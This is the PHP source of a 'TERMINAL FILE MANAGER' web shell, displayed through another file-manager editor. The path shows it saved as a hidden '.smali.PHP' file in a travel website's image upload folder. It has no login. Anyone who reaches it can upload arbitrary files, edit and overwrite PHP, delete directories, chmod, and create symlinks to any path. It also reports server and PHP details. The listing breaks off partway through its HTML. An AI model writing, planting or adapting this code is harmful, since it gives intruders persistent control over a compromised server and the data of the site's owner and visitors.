/
/
home
/
u917864144
/
domains
/
humsafarholiday.com
/
public_html
/
image
/
post
EDITOR
/home/u917864144/domains/humsafarholiday.com/public_html/image/post/.smali.PHP
SAVE
CLOSE
<?php /** * ████████╗███████╗██████╗ ███╗ ███╗██╗███╗ ██╗ █████╗ ██╗ * ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██║████╗ ██║██╔══██╗██║ * ██║ █████╗ ██████╔╝██╔████╔██║██║██╔██╗ ██║███████║██║ * ██║ ██╔══╝ ██╔══██╗██║╚██╔╝██║██║██║╚██╗██║██╔══██║██║ * ██║ ███████╗██║ ██║██║ ╚═╝ ██║██║██║ ╚████║██║ ██║███████╗ * ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ * TERMINAL FILE MANAGER v3.0 — by X Dev za */ session_start(); // ─── CONFIG ─────────────────────────────────────────────────────────────────── define('ROOT_PATH', realpath(getcwd())); define('SELF', basename($_SERVER['PHP_SELF'])); // ─── PATH UTILITIES ─────────────────────────────────────────────────────────── function safe_path(string $rel): string { $clean = preg_replace('#\.\.[\\/]#', '', $rel); $full = realpath(ROOT_PATH . DIRECTORY_SEPARATOR . ltrim($clean, '/\\')); if ($full && str_starts_with($full, ROOT_PATH)) return $full; return ROOT_PATH; } function rel_path(string $abs): string { return ltrim(substr($abs, strlen(ROOT_PATH)), '/\\'); } function cur_rel(): string { $p = $_GET['p'] ?? ''; return rel_path(safe_path($p)); } function breadcrumbs(string $rel): array { if (!$rel) return []; $parts = explode('/', str_replace('\\', '/', $rel)); $crumbs = []; $acc = ''; foreach ($parts as $p) { if (!$p) continue; $acc .= ($acc ? '/' : '') . $p; $crumbs[] = ['name' => $p, 'path' => $acc]; } return $crumbs; } function fmt_size(int $b): string { if ($b === 0) return '0 B'; $u = ['B','KB','MB','GB','TB']; $i = (int) floor(log($b, 1024)); return round($b / pow(1024, $i), 2) . ' ' . $u[$i]; } function fmt_time(int $ts): string { return date('Y-m-d H:i', $ts); } function file_icon(string $name, bool $is_dir): string { if ($is_dir) return 'folder'; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $map = [ 'php' => 'code-slash', 'js' => 'filetype-js', 'ts' => 'filetype-js', 'html' => 'filetype-html', 'htm' => 'filetype-html', 'css' => 'filetype-css', 'json' => 'filetype-json', 'xml' => 'filetype-xml', 'jpg' => 'file-image', 'jpeg' => 'file-image', 'png' => 'file-image', 'gif' => 'file-image', 'svg' => 'file-image', 'webp' => 'file-image', 'mp4' => 'file-play', 'avi' => 'file-play', 'mkv' => 'file-play', 'mov' => 'file-play', 'mp3' => 'file-music', 'wav' => 'file-music', 'ogg' => 'file-music', 'zip' => 'file-zip', 'tar' => 'file-zip', 'gz' => 'file-zip', 'rar' => 'file-zip', 'pdf' => 'file-pdf', 'txt' => 'file-text', 'md' => 'file-text', 'sql' => 'database', 'db' => 'database', 'sqlite' => 'database', 'sh' => 'terminal', 'bash' => 'terminal', 'py' => 'code-slash', ]; return $map[$ext] ?? 'file-earmark'; } function is_editable(string $name): bool { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $editable = ['php','js','ts','html','htm','css','json','xml','txt','md','sh','py','sql','env','htaccess','conf','ini','yaml','yml','log','csv']; return in_array($ext, $editable) || !str_contains($name, '.'); } function is_image(string $name): bool { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','ico']); } function get_perms(string $path): string { $p = fileperms($path); $r = ($p & 0x0100 ? 'r' : '-') . ($p & 0x0080 ? 'w' : '-') . ($p & 0x0040 ? 'x' : '-'); $r .= ($p & 0x0020 ? 'r' : '-') . ($p & 0x0010 ? 'w' : '-') . ($p & 0x0008 ? 'x' : '-'); $r .= ($p & 0x0004 ? 'r' : '-') . ($p & 0x0002 ? 'w' : '-') . ($p & 0x0001 ? 'x' : '-'); return $r; } // ─── RECURSIVE FUNCTIONS ────────────────────────────────────────────────────── function rrmdir(string $dir): void { foreach (scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $f; is_dir($p) ? rrmdir($p) : unlink($p); } rmdir($dir); } function dir_size(string $dir): int { $size = 0; foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)) as $f) { $size += $f->getSize(); } return $size; } function count_items(string $dir): int { return count(array_diff(scandir($dir), ['.', '..'])); } // ─── ACTION HANDLER ─────────────────────────────────────────────────────────── $rel_p = cur_rel(); $abs_p = safe_path($rel_p); $flash = ''; $flash_type = 'ok'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $name = basename(trim($_POST['name'] ?? '')); $target = $abs_p . DIRECTORY_SEPARATOR . $name; try { switch ($action) { case 'new_dir': if (!$name) throw new Exception('Nama folder kosong'); if (!mkdir($target, 0755, true)) throw new Exception('Gagal buat folder'); $flash = "Folder '$name' dibuat."; break; case 'new_file': if (!$name) throw new Exception('Nama file kosong'); if (file_exists($target)) throw new Exception('File sudah ada'); file_put_contents($target, ''); $flash = "File '$name' dibuat."; break; case 'upload': if (empty($_FILES['ufiles']['name'][0])) throw new Exception('Tidak ada file'); $count = 0; foreach ($_FILES['ufiles']['tmp_name'] as $i => $tmp) { if (!$_FILES['ufiles']['error'][$i]) { $fn = basename($_FILES['ufiles']['name'][$i]); move_uploaded_file($tmp, $abs_p . DIRECTORY_SEPARATOR . $fn); $count++; } } $flash = "$count file berhasil diupload."; break; case 'delete': if (!$name || !file_exists($target)) throw new Exception('File/folder tidak ditemukan'); if (realpath($target) === ROOT_PATH) throw new Exception('Tidak bisa hapus root!'); is_dir($target) ? rrmdir($target) : unlink($target); $flash = "'$name' dihapus."; break; case 'save': $fn = basename($_POST['fn'] ?? ''); if (!$fn) throw new Exception('Nama file invalid'); file_put_contents($abs_p . DIRECTORY_SEPARATOR . $fn, $_POST['content'] ?? ''); $flash = "File '$fn' disimpan."; break; case 'rename': $new_name = basename(trim($_POST['new_name'] ?? '')); if (!$name || !$new_name) throw new Exception('Nama invalid'); $new_target = $abs_p . DIRECTORY_SEPARATOR . $new_name; if (!rename($target, $new_target)) throw new Exception('Gagal rename'); $flash = "Renamed: '$name' → '$new_name'"; break; case 'chmod': $mode = octdec($_POST['mode'] ?? '755'); if (!chmod($target, $mode)) throw new Exception('Gagal chmod'); $flash = "Chmod '$name' → " . $_POST['mode']; break; case 'copy_file': $dest_name = basename(trim($_POST['dest_name'] ?? '')); if (!$dest_name) $dest_name = 'copy_' . $name; $dest = $abs_p . DIRECTORY_SEPARATOR . $dest_name; if (!copy($target, $dest)) throw new Exception('Gagal copy'); $flash = "Copied: '$name' → '$dest_name'"; break; case 'new_symlink': $link_target = trim($_POST['link_target'] ?? ''); $link_name = trim($_POST['link_name'] ?? ''); if (!$link_target || !$link_name) throw new Exception('Target atau nama link kosong'); symlink($link_target, $abs_p . DIRECTORY_SEPARATOR . $link_name); $flash = "Symlink '$link_name' dibuat."; break; } } catch (Exception $e) { $flash = $e->getMessage(); $flash_type = 'err'; } if ($action !== 'save' || $flash_type === 'err') { $redir_p = ($action === 'delete' && is_dir($target) === false && !$flash_type) ? $rel_p : $rel_p; header("Location: " . SELF . "?p=" . urlencode($rel_p) . "&flash=" . urlencode($flash) . "&ft=" . $flash_type); exit; } } // Flash from redirect if (!$flash && isset($_GET['flash'])) { $flash = $_GET['flash']; $flash_type = $_GET['ft'] ?? 'ok'; } // Editor mode $edit_file = isset($_GET['edit']) ? basename($_GET['edit']) : null; $edit_path = $edit_file ? ($abs_p . DIRECTORY_SEPARATOR . $edit_file) : null; $edit_cont = ($edit_path && is_file($edit_path) && is_editable($edit_file)) ? file_get_contents($edit_path) : null; // Preview mode $preview_file = isset($_GET['view']) ? basename($_GET['view']) : null; $preview_path = $preview_file ? ($abs_p . DIRECTORY_SEPARATOR . $preview_file) : null; $preview_is_img = $preview_file && is_image($preview_file); // Sort & filter $sort = $_GET['sort'] ?? 'name'; $order = $_GET['order'] ?? 'asc'; $search = trim($_GET['q'] ?? ''); // List directory $dirs = $files = []; if (is_dir($abs_p)) { $raw = array_diff(scandir($abs_p), ['.', '..', SELF]); foreach ($raw as $item) { $full = $abs_p . DIRECTORY_SEPARATOR . $item; if ($search && stripos($item, $search) === false) continue; $entry = [ 'name' => $item, 'full' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : 0, 'mtime' => filemtime($full), 'perms' => get_perms($full), 'link' => is_link($full), ]; $entry['is_dir'] ? $dirs[] = $entry : $files[] = $entry; } } // Sort $sorter = fn($a, $b) => match($sort) { 'size' => $a['size'] <=> $b['size'], 'date' => $a['mtime'] <=> $b['mtime'], default => strcasecmp($a['name'], $b['name']), }; usort($dirs, $sorter); usort($files, $sorter); if ($order === 'desc') { $dirs = array_reverse($dirs); $files = array_reverse($files); } $items = array_merge($dirs, $files); $crumbs = breadcrumbs($rel_p); // Disk info $disk_total = disk_total_space($abs_p); $disk_free = disk_free_space($abs_p); $disk_used = $disk_total - $disk_free; $disk_pct = $disk_total ? round($disk_used / $disk_total * 100) : 0; $php_v = PHP_VERSION; $uname = php_uname('s') . ' ' . php_uname('r'); $item_count = count($items); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>TERMINAL FM // <?= htmlspecialchars($rel_p ?: '/') ?></title> <script src="https://cdn.tailwindcss.com"></script> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600;700&family=Orbitron:wght@400;700;900&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <style> :root { --bg: #03060d; --bg2: #070d1a; --bg3: #0b1525; --panel: #0d1b2e; --border: #0e2a45; --cyan: #00e5ff; --cyan2: #00b8d4; --green: #00ff88; --red: #ff3366; --amber: #ffb300; --dim: #2a4a6e; --muted: #4a7090; --text: #b0d4f0; --text2: #6a9bbf; --glow: 0 0 20px rgba(0,229,255,0.15), 0 0 40px rgba(0,229,255,0.05); --glow-g: 0 0 15px rgba(0,255,136,0.2); --glow-r: 0 0 15px rgba(255,51,102,0.25); } * { box-sizing: border-box; margin: 0; padding: 0; } html { scroll-behavior: smooth; } body { background: var(--bg); color: var(--text); font-family: 'JetBrains Mono', monospace; font-size: 13px; min-height: 100vh; overflow-x: hidden; } /* Scanlines overlay */ body::before { content: ''; position: fixed; inset: 0; background: repeating-linear-gradient( 0deg, transparent, transparent 2px, rgba(0,0,0,0.03) 2px, rgba(0,0,0,0.03) 4px ); pointer-events: none; z-index: 9999; } /* Grid BG */ body::after { content: ''; position: fixed; inset: 0; background-image: linear-gradient(rgba(0,229,255,0.03) 1px, transparent 1px), linear-gradient(90deg, rgba(0,229,255,0.03) 1px, transparent 1px); background-size: 40px 40px; pointer-events: none; z-index: 0; } .z1 { position: relative; z-index: 1; } /* ─── LAYOUT ─────────────────────────────────── */ .layout { display: grid; grid-template-columns: 240px 1fr; min-height: 100vh; } @media (max-width: 768px) { .layout { grid-template-columns: 1fr; } } /* ─── SIDEBAR ────────────────────────────────── */ .sidebar { background: var(--bg2); border-right: 1px solid var(--border); padding: 0; display: flex; flex-direction: column; position: sticky; top: 0; height: 100vh; overflow-y: auto; } .sidebar-logo { padding: 20px 16px 16px; border-bottom: 1px solid var(--border); text-align: center; } .logo-text { font-family: 'Orbitron', sans-serif; font-size: 11px; font-weight: 900; letter-spacing: 4px; color: var(--cyan); text-shadow: 0 0 20px rgba(0,229,255,0.6); } .logo-sub { color: var(--muted); font-size: 9px; letter-spacing: 2px; margin-top: 4px; } .sidebar-section { padding: 12px 16px 4px; } .sidebar-label { font-size: 9px; letter-spacing: 3px; color: var(--dim); margin-bottom: 8px; } .sidebar-btn { display: flex; align-items: center; gap: 8px; padding: 8px 10px; border-radius: 6px; cursor: pointer; width: 100%; color: var(--text2); font-family: 'JetBrains Mono', monospace; font-size: 12px; border: 1px solid transparent; background: transparent; text-align: left; transition: all 0.15s; margin-bottom: 2px; } .sidebar-btn:hover, .sidebar-btn.active { background: rgba(0,229,255,0.06); border-color: rgba(0,229,255,0.2); color: var(--cyan); } .sidebar-btn i { font-size: 14px; width: 16px; flex-shrink: 0; } .disk-bar { margin: 0 16px; padding: 12px; background: rgba(0,229,255,0.03); border: 1px solid var(--border); border-radius: 8px; } .disk-track { height: 4px; background: var(--bg3); border-radius: 99px; margin: 8px 0; overflow: hidden; } .disk-fill { height: 100%; background: linear-gradient(90deg, var(--cyan), var(--green)); border-radius: 99px; box-shadow: 0 0 8px rgba(0,229,255,0.4); transition: width 0.6s ease; } .sys-row { display: flex; justify-content: space-between; font-size: 10px; color: var(--muted); margin-top: 2px; } /* ─── MAIN ───────────────────────────────────── */ .main { display: flex; flex-direction: column; overflow: hidden; } /* ─── TOPBAR ─────────────────────────────────── */ .topbar { background: var(--bg2); border-bottom: 1px solid var(--border); padding: 12px 20px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; } .breadcrumb-wrap { display: flex; align-items: center; gap: 4px; flex: 1; overflow-x: auto; padding: 6px 10px; background: var(--bg3); border: 1px solid var(--border); border-radius: 6px; white-space: nowrap; } .breadcrumb-wrap::-webkit-scrollbar { height: 2px; } .breadcrumb-wrap::-webkit-scrollbar-thumb { background: var(--dim); } .bc-root { color: var(--cyan); font-size: 12px; } .bc-sep { color: var(--dim); margin: 0 2px; } .bc-link { color: var(--text2); font-size: 12px; transition: color 0.15s; text-decoration: none; } .bc-link:hover { color: var(--cyan); } .bc-cur { color: var(--text); font-size: 12px; } .search-wrap { display: flex; align-items: center; background: var(--bg3); border: 1px solid var(--border); border-radius: 6px; padding: 0 10px; gap: 6px; } .search-wrap i { color: var(--muted); font-size: 13px; } .search-wrap input { background: transparent; border: none; outline: none; color: var(--text); font-family: 'JetBrains Mono', monospace; font-size: 12px; padding: 6px 0; width: 160px; } /* ─── TOOLBAR ────────────────────────────────── */ .toolbar { padding: 10px 20px; display: flex; gap: 8px; flex-wrap: wrap; border-bottom: 1px solid var(--border); background: rgba(7,13,26,0.5); } .btn-tool { display: inline-flex; align-items: center; gap: 6px; padding: 6px 12px; border-radius: 6px; font-family: 'JetBrains Mono', monospace; font-size: 11px; font-weight: 600; cursor: pointer; border: 1px solid; transition: all 0.15s; letter-spacing: 0.5px; white-space: nowrap; } .btn-cyan { background: rgba(0,229,255,0.08); border-color: rgba(0,229,255,0.3); color: var(--cyan); } .btn-cyan:hover { background: rgba(0,229,255,0.18); box-shadow: var(--glow); } .btn-green { background: rgba(0,255,136,0.08); border-color: rgba(0,255,136,0.3); color: var(--green); } .btn-green:hover { background: rgba(0,255,136,0.18); box-shadow: var(--glow-g); } .btn-red { background: rgba(255,51,102,0.08); border-color: rgba(255,51,102,0.3); color: var(--red); } .btn-red:hover { background: rgba(255,51,102,0.18); box-shadow: var(--glow-r); } .btn-amber { background: rgba(255,179,0,0.08); border-color: rgba(255,179,0,0.3); color: var(--amber); } .btn-amber:hover { background: rgba(255,179,0,0.15); } .btn-ghost { background: transparent; border-color: var(--border); color: var(--text2); } .btn-ghost:hover { border-color: var(--muted); color: var(--text); } /* ─── TABLE ──────────────────────────────────── */ .file-table { width: 100%; border-collapse: collapse; } .file-table thead tr { border-bottom: 1px solid var(--border); background: rgba(0,229,255,0.03); } .file-table th { padding: 10px 16px; text-align: left; font-size: 10px; letter-spacing: 2px; color: var(--muted); font-weight: 600; white-space: nowrap; } .file-table th a { color: inherit; text-decoration: none; } .file-table th a:hover { color: var(--cyan); } .file-table tbody tr { border-bottom: 1px solid rgba(14,42,69,0.5); transition: background 0.1s; } .file-table tbody tr:hover { background: rgba(0,229,255,0.04); } .file-table td { padding: 9px 16px; vertical-align: middle; } .item-icon { width: 30px; height: 30px; display: flex; align-items: center; justify-content: center; border-radius: 6px; font-size: 14px; flex-shrink: 0; } .icon-dir { background: rgba(255,179,0,0.1); color: var(--amber); } .icon-php { background: rgba(120,80,255,0.1); color: #a78bfa; } .icon-img { background: rgba(0,255,136,0.1); color: var(--green); } .icon-code { background: rgba(0,229,255,0.1); color: var(--cyan); } .icon-zip { background: rgba(255,120,0,0.1); color: #fb923c; } .icon-db { background: rgba(0,180,255,0.1); color: #38bdf8; } .icon-med { background: rgba(244,63,94,0.1); color: #f43f5e; } .icon-file { background: rgba(100,116,139,0.1); color: #64748b; } .item-name { color: var(--text); font-size: 12px; font-weight: 500; } .item-name.is-dir { color: var(--amber); } .item-name a { color: inherit; text-decoration: none; } .item-name a:hover { color: var(--cyan); } .badge-link { font-size: 9px; padding: 1px 5px; background: rgba(0,229,255,0.1); border: 1px solid rgba(0,229,255,0.2); color: var(--cyan); border-radius: 3px; margin-left: 6px; vertical-align: middle; } .meta { color: var(--text2); font-size: 11px; } .perms { font-size: 10px; color: var(--muted); letter-spacing: 1px; } /* Action buttons */ .act-wrap { display: flex; gap: 4px; justify-content: flex-end; } .act-btn { width: 28px; height: 28px; display: flex; align-items: center; justify-content: center; border-radius: 5px; border: 1px solid transparent; cursor: pointer; transition: all 0.15s; font-size: 13px; background: transparent; text-decoration: none; } .act-edit { color: var(--cyan); } .act-edit:hover { background: rgba(0,229,255,0.1); border-color: rgba(0,229,255,0.3); } .act-view { color: var(--green); } .act-view:hover { background: rgba(0,255,136,0.1); border-color: rgba(0,255,136,0.3); } .act-dl { color: #60a5fa; } .act-dl:hover { background: rgba(96,165,250,0.1); border-color: rgba(96,165,250,0.3); } .act-copy { color: var(--amber); } .act-copy:hover { background: rgba(255,179,0,0.1); border-color: rgba(255,179,0,0.3); } .act-ren { color: #a78bfa; } .act-ren:hover { background: rgba(167,139,250,0.1); border-color: rgba(167,139,250,0.3); } .act-chmod { color: #94a3b8; } .act-chmod:hover { background: rgba(148,163,184,0.1); border-color: rgba(148,163,184,0.3); } .act-del { color: var(--red); } .act-del:hover { background: rgba(255,51,102,0.1); border-color: rgba(255,51,102,0.3); } /* ─── FLASH ──────────────────────────────────── */ .flash { margin: 12px 20px 0; padding: 10px 14px; border-radius: 6px; display: flex; align-items: center; gap: 8px; font-size: 12px; animation: fadeSlide 0.3s ease; } .flash-ok { background: rgba(0,255,136,0.08); border: 1px solid rgba(0,255,136,0.25); color: var(--green); } .flash-err { background: rgba(255,51,102,0.08); border: 1px solid rgba(255,51,102,0.25); color: var(--red); } @keyframes fadeSlide { from { opacity:0; transform: translateY(-6px); } to { opacity:1; transform: translateY(0); } } /* ─── MODAL ──────────────────────────────────── */ .modal-bg { position: fixed; inset: 0; background: rgba(3,6,13,0.85); backdrop-filter: blur(6px); display: none; align-items: center; justify-content: center; z-index: 1000; } .modal-bg.open { display: flex; } .modal { background: var(--panel); border: 1px solid var(--border); border-radius: 12px; padding: 24px; width: 480px; max-width: 95vw; box-shadow: 0 0 60px rgba(0,229,255,0.1), 0 30px 60px rgba(0,0,0,0.5); animation: modalIn 0.2s ease; } @keyframes modalIn { from { opacity:0; transform: scale(0.95) translateY(10px); } to { opacity:1; transform: none; } } .modal-title { font-family: 'Orbitron', sans-serif; font-size: 12px; font-weight: 700; letter-spacing: 3px; color: var(--cyan); margin-bottom: 20px; display: flex; align-items: center; gap: 8px; } .field-label { font-size: 10px; letter-spacing: 2px; color: var(--muted); margin-bottom: 6px; } .field-input { width: 100%; background: var(--bg3); border: 1px solid var(--border); border-radius: 6px; padding: 9px 12px; color: var(--text); font-family: 'JetBrains Mono', monospace; font-size: 12px; outline: none; transition: border-color 0.15s; margin-bottom: 14px; } .field-input:focus { border-color: rgba(0,229,255,0.5); box-shadow: 0 0 0 3px rgba(0,229,255,0.08); } .modal-footer { display: flex; gap: 8px; justify-content: flex-end; margin-top: 4px; } /* ─── EDITOR ─────────────────────────────────── */ .editor-wrap { padding: 20px; flex: 1; display: flex; flex-direction: column; } .editor-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 12px; } .editor-title { font-family: 'Orbitron', sans-serif; font-size: 11px; letter-spacing: 3px; color: var(--cyan); } .editor-path { font-size: 10px; color: var(--muted); margin-top: 2px; } .code-editor { flex: 1; width: 100%; min-height: 60vh; background: var(--bg2); border: 1px solid var(--border); border-radius: 8px; padding: 16px; color: var(--text); font-family: 'JetBrains Mono', monospace; font-size: 13px; line-height: 1.6; outline: none; resize: vertical; tab-size: 4; transition: border-color 0.15s; } .code-editor:focus { border-color: rgba(0,229,255,0.4); } /* ─── UPLOAD ZONE ────────────────────────────── */ .upload-zone { border: 2px dashed var(--border); border-radius: 8px; padding: 30px; text-align: center; cursor: pointer; transition: all 0.2s; margin-bottom: 14px; } .upload-zone:hover, .upload-zone.drag { border-color: var(--cyan); background: rgba(0,229,255,0.04); } .upload-zone i { font-size: 32px; color: var(--muted); display: block; margin-bottom: 8px; } .upload-zone .uz-text { color: var(--text2); font-size: 12px; } .upload-zone .uz-sub { color: var(--muted); font-size: 10px; margin-top: 4px; } /* ─── STATUSBAR ──────────────────────────────── */ .statusbar { padding: 6px 20px; border-top: 1px solid var(--border); display: flex; gap: 20px; align-items: center; font-size: 10px; color: var(--muted); background: var(--bg2); } .stat-dot { width: 6px; height: 6px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); } .stat-item { display: flex; align-items: center; gap: 6px; } /* ─── EMPTY STATE ────────────────────────────── */ .empty-state { padding: 60px 20px; text-align: center; } .empty-state i { font-size: 48px; color: var(--dim); display: block; margin-bottom: 12px; } .empty-state p { color: var(--muted); font-size: 12px; } /* ─── CHECKBOX ───────────────────────────────── */ .row-check { cursor: pointer; accent-color: var(--cyan); width: 14px; height: 14px; } /* ─── CONTEXT MENU ───────────────────────────── */ .ctx-menu { position: fixed; background: var(--panel); border: 1px solid var(--border); border-radius: 8px; padding: 6px; z-index: 2000; display: none; min-width: 180px; box-shadow: 0 10px 40px rgba(0,0,0,0.5); } .ctx-menu.show { display: block; animation: modalIn 0.15s ease; } .ctx-item { display: flex; align-items: center; gap: 10px; padding: 8px 12px; border-radius: 5px; cursor: pointer; font-size: 12px; color: var(--text2); transition: all 0.1s; } .ctx-item:hover { background: rgba(0,229,255,0.08); color: var(--cyan); } .ctx-item.danger:hover { background: rgba(255,51,102,0.08); color: var(--red); } .ctx-item i { font-size: 13px; width: 16px; } .ctx-sep { height: 1px; background: var(--border); margin: 4px 0; } /* Scrollbar */ ::-webkit-scrollbar { width: 4px; height: 4px; } ::-webkit-scrollbar-track { background: var(--bg2); } ::-webkit-scrollbar-thumb { background: var(--dim); border-radius: 2px; } ::-webkit-scrollbar-thumb:hover { background: var(--muted); } /* Sort indicator */ .sort-active { color: var(--cyan) !important; } .sort-icon { font-size: 9px; margin-left: 3px; } /* Inline input */ .inline-input { background: var(--bg3); border: 1px solid rgba(0,229,255,0.3); color: var(--text); border-radius: 5px; padding: 4px 8px; font-family: 'JetBrains Mono', monospace; font-size: 12px; outline: none; width: 200px; } </style> </head> <body> <?php // Build icon class for file type function icon_class(string $name, bool $is_dir): string { if ($is_dir) return 'icon-dir'; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $p = match(true) { $ext === 'php' => 'icon-php', in_array($ext, ['jpg','jpeg','png','gif','svg','webp','ico']) => 'icon-img', in_array($ext, ['js','ts','html','htm','css','json','xml','py','sh','sql','md']) => 'icon-code', in_array($ext, ['zip','tar','gz','rar','7z']) => 'icon-zip', in_array($ext, ['db','sqlite','sql']) => 'icon-db', in_array($ext, ['mp4','mp3','wav','avi','mkv','mov','ogg']) => 'icon-med', default => 'icon-file', }; return $p; } ?> <div class="layout z1"> <!-- ═══════════════════════════ SIDEBAR ═══════════════════════════ --> <aside class="sidebar"> <div class="sidebar-logo"> <div class="logo-text">TERMINAL FM</div> <div class="logo-sub">v3.0 // FAZA DEV CORE</div> </div> <div class="sidebar-section"> <div class="sidebar-label">NAVIGATION</div> <button class="sidebar-btn" onclick="window.location='<?= SELF ?>?p='"> <i class="bi bi-house-door"></i> Root </button> <?php if ($rel_p): ?> <button class="sidebar-btn" onclick="window.location='<?= SELF ?>?p=<?= urlencode(dirname($rel_p) === '.' ? '' : dirname($rel_p)) ?>'"> <i class="bi bi-arrow-up-circle"></i> Parent Dir </button> <?php endif; ?> <button class="sidebar-btn" onclick="location.reload()"> <i class="bi bi-arrow-clockwise"></i> Refresh </button> </div> <div class="sidebar-section"> <div class="sidebar-label">ACTIONS</div> <button class="sidebar-btn" onclick="openModal('modal-newdir')"> <i class="bi bi-folder-plus"></i> New Folder </button> <button class="sidebar-btn" onclick="openModal('modal-newfile')"> <i class="bi bi-file-earmark-plus"></i> New File </button> <button class="sidebar-btn" onclick="openModal('modal-upload')"> <i class="bi bi-cloud-upload"></i> Upload Files </button> <button class="sidebar-btn" onclick="openModal('modal-symlink')"> <i class="bi bi-link-45deg"></i> New Symlink </button> </div> <div class="sidebar-section"> <div class="sidebar-label">SELECTION</div> <button class="sidebar-btn" onclick="selectAll()"> <i class="bi bi-check2-all"></i> Select All </button> <button class="sidebar-btn" onclick="deselectAll()"> <i class="bi bi-x-square"></i> Deselect </button> <button class="sidebar-btn btn-red" onclick="deleteSelected()" style="color: var(--red)"> <i class="bi bi-trash3"></i> Delete Selected </button> </div> <div class="sidebar-section"> <div class="sidebar-label">SYSTEM</div> <div class="disk-bar"> <div style="display:flex;justify-content:space-between;font-size:10px;color:var(--muted)"> <span>DISK USAGE</span><span style="color:var(--cyan)"><?= $disk_pct ?>%</span> </div> <div class="disk-track"> <div class="disk-fill" style="width:<?= $disk_pct ?>%"></div> </div> <div class="sys-row"><span><?= fmt_size($disk_used) ?> used</span><span><?= fmt_size($disk_free) ?> free</span></div> <div class="sys-row" style="margin-top:6px"><span>PHP <?= $php_v ?></span></div> </div> </div> <div style="flex:1"></div> <div style="padding:12px 16px; border-top:1px solid var(--border); font-size:10px; color: var(--dim)"> <?= $uname ?> </div> </aside> <!-- ═══════════════════════════ MAIN ═══════════════════════════════ --> <div class="main"> <!-- TOPBAR --> <div class="topbar"> <div class="breadcrumb-wrap"> <a href="<?= SELF ?>?p=" class="bc-root"><i class="bi bi-hdd"></i> ROOT</a> <?php foreach ($crumbs as $i => $c): ?> <span class="bc-sep">/</span> <?php if ($i < count($crumbs)-1): ?> <a href="<?= SELF ?>?p=<?= urlencode($c['path']) ?>" class="bc-link"><?= htmlspecialchars($c['name']) ?></a> <?php else: ?> <span class="bc-cur"><?= htmlspecialchars($c['name']) ?></span> <?php endif; ?> <?php endforeach; ?> </div> <form method="GET" action="<?= SELF ?>" style="display:flex"> <input type="hidden" name="p" value="<?= htmlspecialchars($rel_p) ?>"> <div class="search-wrap"> <i class="bi bi-search"></i> <input type="text" name="q" value="<?= htmlspecialchars($search) ?>" placeholder="Filter files..."> </div> </form> </div> <!-- FLASH --> <?php if ($flash): ?> <div class="flash flash-<?= $flash_type ?>" id="flashMsg"> <i class="bi bi-<?= $flash_type === 'ok' ? 'check-circle' : 'exclamation-triangle' ?>"></i> <?= htmlspecialchars($flash) ?> <button onclick="this.parentElement.remove()" style="margin-left:auto;background:none;border:none;cursor:pointer;color:inherit">×</button> </div> <?php endif; ?> <?php if ($edit_cont !== null): ?> <!-- ══════════ EDITOR VIEW ══════════ --> <div class="editor-wrap"> <div class="editor-header"> <div> <div class="editor-title"><i class="bi bi-code-slash"></i> EDITOR</div> <div class="editor-path"><?= htmlspecialchars($rel_p ? $rel_p.'/'.$edit_file : $edit_file) ?></div> </div> <div style="display:flex;gap:8px"> <button onclick="saveFile()" class="btn-tool btn-cyan"><i class="bi bi-floppy2"></i> SAVE</button> <a href="<?= SELF ?>?p=<?= urlencode($rel_p) ?>" class="btn-tool btn-ghost"><i class="bi bi-x-lg"></i> CLOSE</a> </div> </div> <!-- Line numbers + editor --> <div style="display:flex;gap:0;border:1px solid var(--border);border-radius:8px;overflow:hidden;flex:1"> <div id="lineNums" style="background:#050b14;padding:16px 8px;text-align:right;color:var(--dim);font-size:13px;line-height:1.6;user-select:none;min-width:44px;overflow:hidden"></div> <form id="editorForm" method="POST" style="flex:1;display:flex;flex-direction:column"> <input type="hidden" name="action" value="save"> <input type="hidden" name="fn" value="<?= htmlspecialchars($edit_file) ?>"> <textarea id="codeArea" name="content" class="code-editor" style="border:none;border-radius:0;flex:1" onscroll="syncScroll(this)" oninput="updateLines(this)" onkeydown="handleTab(event)"><?= htmlspecialchars($edit_cont) ?></textarea> </form> </div> <!-- Bottom toolbar --> <div style="display:flex;gap:8px;margin-top:12px;align-items:center"> <div style="font-size:10px;color:var(--muted)" id="cursorPos">Ln 1, Col 1</div> <div style="font-size:10px;color:var(--muted)" id="charCount"></div> <div style="margin-left:auto;display:flex;gap:8px"> <button onclick="formatCode()" class="btn-tool btn-ghost"><i class="bi bi-braces"></i> FORMAT</button> <button onclick="wrapLines()" class="btn-tool btn-ghost" id="wrapBtn"><i class="bi bi-text-wrap"></i> WRAP</button> <button onclick="saveFile()" class="btn-tool btn-cyan"><i class="bi bi-floppy2"></i> SAVE FILE</button> </div> </div> </div> <?php elseif ($preview_is_img && $preview_path && is_file($preview_path)): ?> <!-- ══════════ IMAGE PREVIEW ══════════ --> <div style="padding:20px;flex:1;display:flex;flex-direction:column"> <div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:16px"> <div class="editor-title"><i class="bi bi-image"></i> PREVIEW // <?= htmlspecialchars($preview_file) ?></div> <a href="<?= SELF ?>?p=<?= urlencode($rel_p) ?>" class="btn-tool btn-ghost"><i class="bi bi-x-lg"></i> CLOSE</a> </div> <div 